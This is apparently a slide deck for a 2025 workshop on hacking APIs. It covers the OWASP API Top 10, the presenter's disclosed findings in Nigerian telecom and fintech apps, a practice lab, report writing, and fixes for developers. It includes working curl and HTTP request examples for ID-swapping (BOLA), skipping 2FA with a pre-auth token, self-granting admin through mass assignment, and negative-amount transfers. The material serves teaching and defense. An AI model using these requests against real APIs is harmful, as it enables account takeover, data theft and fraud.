APIConf 2025 · Workshop

Hacking APIs
in the Wild

Finding, Exploiting & Reporting Modern API Vulnerabilities —
and how engineers can actually fix them

Critical Vulns Live Demos Hands-on Lab Report Writing
Tes Salawu  ·  24 July 2025  ·  60 minutes

About Me

👨🏾‍💻

Tes Salawu

Cybersecurity Specialist · Mobile & API Pentester

What I do: Full-stack penetration testing — mobile apps (Android/iOS), web APIs, and everything in between. I find the bugs before the bad guys do.
DAY JOB
Cybersecurity Specialist
Multichoice / DStv
BUGS FOUND IN
MTN, Fintech, HR, Identity
50M+ users protected
✍️
Writes at
tessal3.medium.com
👨‍👩‍👦‍👦
Married, 2 boys
Work-life is a vibe
🇳🇬
Based in
Lagos, Nigeria

What We're Doing in 60 Minutes

0 – 10 MIN

The API Attack Surface

Why APIs are the #1 target right now. Real breach context.

10 – 25 MIN

OWASP API Top 10 — The Hits

Deep dive on the vulns that keep showing up in the wild.

25 – 40 MIN

Live Demo 🔴

We hack FinDemo API together. BOLA, broken auth, mass assignment.

40 – 50 MIN

Hands-on Lab ⚡

Your turn. 4 challenges. Real flag format.

50 – 60 MIN

Writing the Report & Defending Your APIs

How to turn a finding into money. How engineers can actually fix this stuff.

Lab URL: http://lab.apiconf.workshop  |  Slides: http://slides.apiconf.workshop

APIs Are Everywhere. So Are The Bugs.

83%

of web traffic is API traffic

Cloudflare 2024
$41B

estimated losses to API attacks in 2023

Imperva
#1

most common attack vector for fintech breaches

Gartner 2024

Real Breaches You've Heard Of

CompanyVulnerabilityImpact
Optus (AU)Unauthenticated API endpoint exposed11M customer records leaked
T-MobileBOLA — change user_id in request37M accounts compromised
PelotonAuth bypass on user profile API4M user records exposed
MTN NigeriaIDOR — swap msisdn field in request bodyAccess any subscriber's account data
🇳🇬 Fintech (CoFred)Client-side amount manipulation via BurpArbitrary credits — infinite money glitch
🇳🇬 Identity PlatformExposed API key in mobile app → BVN lookupMass PII enumeration on any Nigerian

* Full write-ups at tessal3.medium.com — names used with permission or after disclosure.

OWASP API Security Top 10

#VulnerabilitySeverityHow Common
API1 Broken Object Level Authorization (BOLA) Critical 🔥🔥🔥🔥🔥
API2 Broken Authentication Critical 🔥🔥🔥🔥
API3 Broken Object Property Level Auth High 🔥🔥🔥🔥
API4 Unrestricted Resource Consumption High 🔥🔥🔥
API5 Broken Function Level Authorization (BFLA) Critical 🔥🔥🔥🔥
API6 Unrestricted Access to Sensitive Flows High 🔥🔥🔥
API7 Server Side Request Forgery High 🔥🔥
API8 Security Misconfiguration Medium 🔥🔥🔥🔥🔥
API9 Improper Inventory Management Medium 🔥🔥🔥
API10 Unsafe Consumption of APIs Medium 🔥🔥

Today we're going deep on API1, API2, API3, and API5. These are the ones I see on literally every engagement.

BOLA: Broken Object Level Authorization

"Can you access objects that don't belong to you by changing an ID?"
If yes, you have BOLA. Also called IDOR (Insecure Direct Object Reference).

Vulnerable Request

GET /api/v1/accounts/1 HTTP/1.1
Authorization: Bearer <alice_token>

# Response — Alice's account ✓
{ "id": 1, "balance": 250000 }
# Change ID to 2 — Bob's account!
GET /api/v1/accounts/2 HTTP/1.1
Authorization: Bearer <alice_token>

# Response — Bob's account 💀
{ "id": 2, "balance": 85000 }

Why It Happens

  • Server trusts the token for auth but not for authz
  • No ownership check: WHERE user_id = {token.sub}
  • Developers think "it's not in the UI so no one will find it"
  • Sequential or predictable IDs make mass enumeration trivial
Real Impact: An attacker can enumerate all user accounts, read balances, transaction history, PII — then sell it or use it for targeted fraud.

Broken Authentication

Common Patterns I've Seen

Critical Pre-auth token bypass

Step-1 login returns a "pre-auth" JWT — but it's fully signed and the server doesn't check if 2FA was completed.

High v2 router strips 2FA

API v1 enforces TOTP. API v2 was "simplified for UX". Both exist. Attacker uses v2.

High Weak JWT secret

jwt.decode(token, "secret123") — crackable in seconds with hashcat.

The v1 vs v2 Attack

# v1 — "secure" (has 2FA gate)
POST /api/v1/login
→ { "pre_auth_token": "eyJ...",
    "requires_2fa": true }

# Just use the token directly!
GET /api/v1/accounts/1
Authorization: Bearer eyJ...
→ 200 OK  💀 2FA completely bypassed
# Or just use v2 — no 2FA at all
POST /api/v2/login
→ { "access_token": "eyJ...",
    "role": "user" }
I've found this exact pattern on 3 Nigerian fintech apps in the last year. The v2 endpoint was never documented. I found it in the minified JS bundle.

Mass Assignment & BFLA

Mass Assignment (API3)

API blindly binds all request body fields to the model — including ones the user shouldn't control.

# Normal registration
POST /api/v1/register
{ "username": "hacker",
  "email": "h@x.io",
  "password": "pass123" }
→ role: "user"

# With mass assignment exploit
POST /api/v1/register
{ "username": "hacker",
  "email": "h@x.io",
  "password": "pass123",
  "role": "admin" }        ← !!!
→ role: "admin"  💀

Broken Function Level Auth (API5)

Admin functions exist but any user can call them — no role check.

# Hidden admin endpoint
# Found in Swagger / /docs
GET /api/v1/admin/users
Authorization: Bearer <user_token>
→ 200 OK — all users + hashes 💀

POST /api/v1/admin/transfer
Authorization: Bearer <user_token>
{ "to_account_id": 3,
  "amount": 50000 }
→ Transfer successful 💀
How I find these: Check /docs, /swagger.json, /openapi.json — developers leave these on by default.

Tools of the Trade

🦊

Burp Suite

Intercept, replay, fuzz. The standard. Use Repeater to manually test BOLA — just change the ID.

Community = free
📮

Postman / Insomnia

Import Swagger, build collections, use environments for token management.

Free tier available
🐍

Python + requests

Enumerate 10,000 IDs in a loop. Automate anything that Burp makes manual.

My go-to for mass BOLA
🔑

jwt.io / hashcat

Decode JWTs, check alg:none, brute-force weak secrets.

📡

ffuf / feroxbuster

Directory / endpoint bruteforce. Find the /v2/ and /admin/ routes.

📱

jadx / Frida

For mobile APKs — decompile to find hardcoded keys, hidden endpoints, API base URLs.

My actual flow: Burp to capture → Postman to organize → Python to automate → Report in ReportLab PDF

From the Field: Real Bugs, Real Impact

IDOR — Telecom

MTN Nigeria: Any Number

The app sent {"msisdn": "0801xxxxxxx"} in the request body. I changed the number. The API returned account data for whoever's number I put in.

POST /api/subscriber/details
{"msisdn": "08012345678"}  ← not my number
→ { name, balance, plan... }  💀

Reported. Fixed. Write-up: tessal3.medium.com

Client-side trust — Fintech

Infinite Money Glitch

App sent the transaction amount to the server without server-side validation. Intercept with Burp, change amount: 100 to amount: -100. Negative amount = credit.

POST /api/transfer
{"amount": -10000,   ← negative!
 "to": "my_wallet"}
→ { "status": "success",
    "new_balance": +10000 }  💀

Reported. Fixed. Could have wiped the company.

Exposed API key — Identity

The BVN Breach

BVN verification API key was hardcoded in the mobile app's JavaScript bundle. With it, anyone could look up any Nigerian's BVN details — name, DOB, phone, linked banks.

jadx → grep "api_key" → profit → responsible disclosure

OTP leak — Fintech

OTP in the Response

The login API returned the OTP code inside the response body — so the client could "verify" it locally. No server-side OTP check at all.

POST /api/v1/send-otp
→ { "otp": "482910",   ← 💀
    "expires_in": 300 }
🔴

Live Demo

Let's actually hack something

Target: FinDemo API
URL: http://lab.apiconf.workshop
Docs: http://lab.apiconf.workshop/docs

Challenge 1: Read Bob's balance (BOLA) Challenge 2: Skip 2FA (Broken Auth) Challenge 3: Become admin (Mass Assignment) Challenge 4: Call the admin transfer (BFLA)

We'll do Challenge 1 & 2 together — then you tackle 3 & 4 yourself.

BOLA: Read Bob's Account Balance

  1. Register and log in as a normal user
    curl -X POST http://lab.apiconf.workshop/api/v2/login \
      -H "Content-Type: application/json" \
      -d '{"email":"alice@findemo.io","password":"alice123"}'
    # → { "access_token": "eyJ..." }
  2. Access YOUR account first
    curl http://lab.apiconf.workshop/api/v1/accounts/1 \
      -H "Authorization: Bearer eyJ..."
    # → { "id": 1, "user_id": 1, "balance": 250000 } ✓
  3. Change the account ID — read Bob's account
    curl http://lab.apiconf.workshop/api/v1/accounts/2 \
      -H "Authorization: Bearer eyJ..."
    # → { "id": 2, "user_id": 2, "balance": 85000 } 💀 FLAG!
The API verified you're logged in — but never checked if account #2 belongs to you. Classic BOLA.

Bypass 2FA Using the Pre-Auth Token

  1. Login via v1 — notice the pre_auth_token
    curl -X POST http://lab.apiconf.workshop/api/v1/login \
      -d '{"email":"bob@findemo.io","password":"bob456"}'
    # → { "pre_auth_token": "eyJ...", "requires_2fa": true }
  2. Inspect the token at jwt.io
    # Decoded payload:
    { "sub": "2", "role": "user", "exp": 1753400000 }
    # It's a fully signed JWT — not a partial/limited token!
  3. Use it directly — skip the TOTP step
    curl http://lab.apiconf.workshop/api/v1/accounts/2 \
      -H "Authorization: Bearer <pre_auth_token>"
    # → 200 OK  💀 Never asked for OTP!
Root cause: Both tokens (pre-auth and full-auth) use the same JWT format and secret. The server has no state to distinguish them.

Your Turn — 10 Minutes

Lab URL: http://lab.apiconf.workshop  |  Docs: /docs

Challenge 3

Critical

Mass Assignment — Become Admin

Register a new account. Find the field that lets you set your own role. Login and confirm you're admin.

Endpoint: POST /api/v1/register

Flag: Your role field should return "admin"

Challenge 4

High

BFLA — Trigger Admin Transfer

Find the hidden admin transfer endpoint (hint: check /docs). Call it as a regular user. Watch the balance move.

Endpoint: Hidden — you find it

Flag: A transaction reference starting with ADMTXN-

Bonus 1

Medium

Excessive Data Exposure

Find the endpoint that leaks password hashes for ALL users. Crack at least one MD5 hash.

Bonus 2

Info

Config Exposure

Find the unauthenticated debug endpoint that leaks the JWT secret. Use it to forge a token for user_id=4 (admin).

Writing a Report That Gets Paid

Anatomy of a Good Finding

Critical Title — clear, no jargon.
"BOLA in /accounts/{id} allows any user to read all account balances"
Impact — in business terms
"Attacker can enumerate all 50,000 customer balances and use them for targeted fraud"
Steps to Reproduce — numbered, exact cURL
No ambiguity. Dev should be able to reproduce in 2 minutes.
Remediation — specific, not generic
"Add WHERE user_id = {token.sub} to accounts query" — not "fix authorization"

Common Mistakes

  • "This could potentially..." — if you haven't exploited it, don't report it as critical
  • Screenshots with no context — always include the request + response
  • No CVSS score — teams use this to prioritize. Learn to calculate it.
  • Vague remediation — "improve security" helps nobody
  • Dumping everything in one doc — separate findings, separate severity sections
My rule: Write the report like the developer has 5 minutes to understand it and convince their VP to prioritize the fix. That's often literally what happens.

The Disclosure Process

Responsible Disclosure Flow

  1. Find the vulnerability + fully document it
  2. Contact the company's security team (look for security.txt, HackerOne, Bugcrowd)
  3. Give them 90 days to fix (industry standard)
  4. Follow up at 30 and 60 days
  5. If no response — disclose publicly after 90 days

The Reality

Best case: Bug bounty payout, CVE credit, LinkedIn shoutout, company actually fixes it
Common case: "Thanks, we'll look into it" — check 6 months later, still vulnerable
Worst case: Legal threats. Document everything. A good report IS your defense.
Nigerian context: NITDA has a responsible disclosure framework. For financial institutions, CBN expects a 72-hour breach notification window. Reference these in your reports — it adds weight.

How to Build APIs That Don't End Up in My Report

Authorization

# BAD — trusts the URL parameter
def get_account(account_id: int, token):
    return db.query(
        "SELECT * FROM accounts WHERE id=?",
        account_id
    )

# GOOD — always scope to the authenticated user
def get_account(account_id: int, token):
    user_id = token.sub
    return db.query(
        "SELECT * FROM accounts
         WHERE id=? AND user_id=?",
        account_id, user_id   # ← ownership check
    )

Input Whitelisting (Mass Assignment Fix)

# BAD — binds everything from request
user = User(**request.json)

# GOOD — explicit field whitelist
class RegisterSchema(BaseModel):
    username: str
    email: str
    password: str
    # role intentionally NOT here

Function Auth (BFLA Fix)

# Add role checks on admin routes
@require_role("admin")
def admin_transfer(body, token):
    ...

10 Quick Wins for Secure APIs

✅ Always check token.sub == resource.owner_id
✅ Use explicit Pydantic/Zod schemas — never **kwargs
✅ Role checks on every admin/sensitive route
✅ Rate limiting: 5 req/min on auth endpoints
✅ Strong JWT secret (>32 bytes, random)
❌ Never expose /docs on production
❌ Never return password hashes in API responses
❌ Never use sequential IDs — use UUIDs
❌ Never use MD5/SHA1 for passwords — use bcrypt
❌ Never ship debug/config endpoints to prod
The golden rule: Assume every user is adversarial. Validate ownership server-side, every time, no exceptions.

Resources to Go Deeper

Practice

  • DVWA (Damn Vulnerable Web App)
  • HackTheBox — API machines
  • PortSwigger Web Security Academy
  • crAPI (Completely Ridiculous API)
  • VAmPI on GitHub

Read

  • owasp.org/API-Security
  • tessal3.medium.com ← shameless plug
  • The Web Application Hacker's Handbook
  • Hacking APIs — Corey Ball (No Starch)

Earn

  • HackerOne — public programs
  • Bugcrowd
  • Intigriti
  • YesWeHack (EMEA focus)
  • Nigerian companies with BBPs
Certifications worth getting:
eWPTX (eLearnSecurity), BSCP (PortSwigger), OSCP (Offensive Security), CEH for the corporate crowd
Communities:
HackerOne Discord, TryHackMe, local: Nigeria Cybersecurity Community, AfricaHackon

Thanks. Now go break things.

(legally, with permission, and write a good report afterwards)

✍️
Articles
tessal3.medium.com
🔬
Lab
lab.apiconf.workshop
📄
Slides
slides.apiconf.workshop
Questions? Find me after the session, slide into my DMs, or drop a comment on Medium.

APIConf 2025 · July 24 · Workshop by Tes Salawu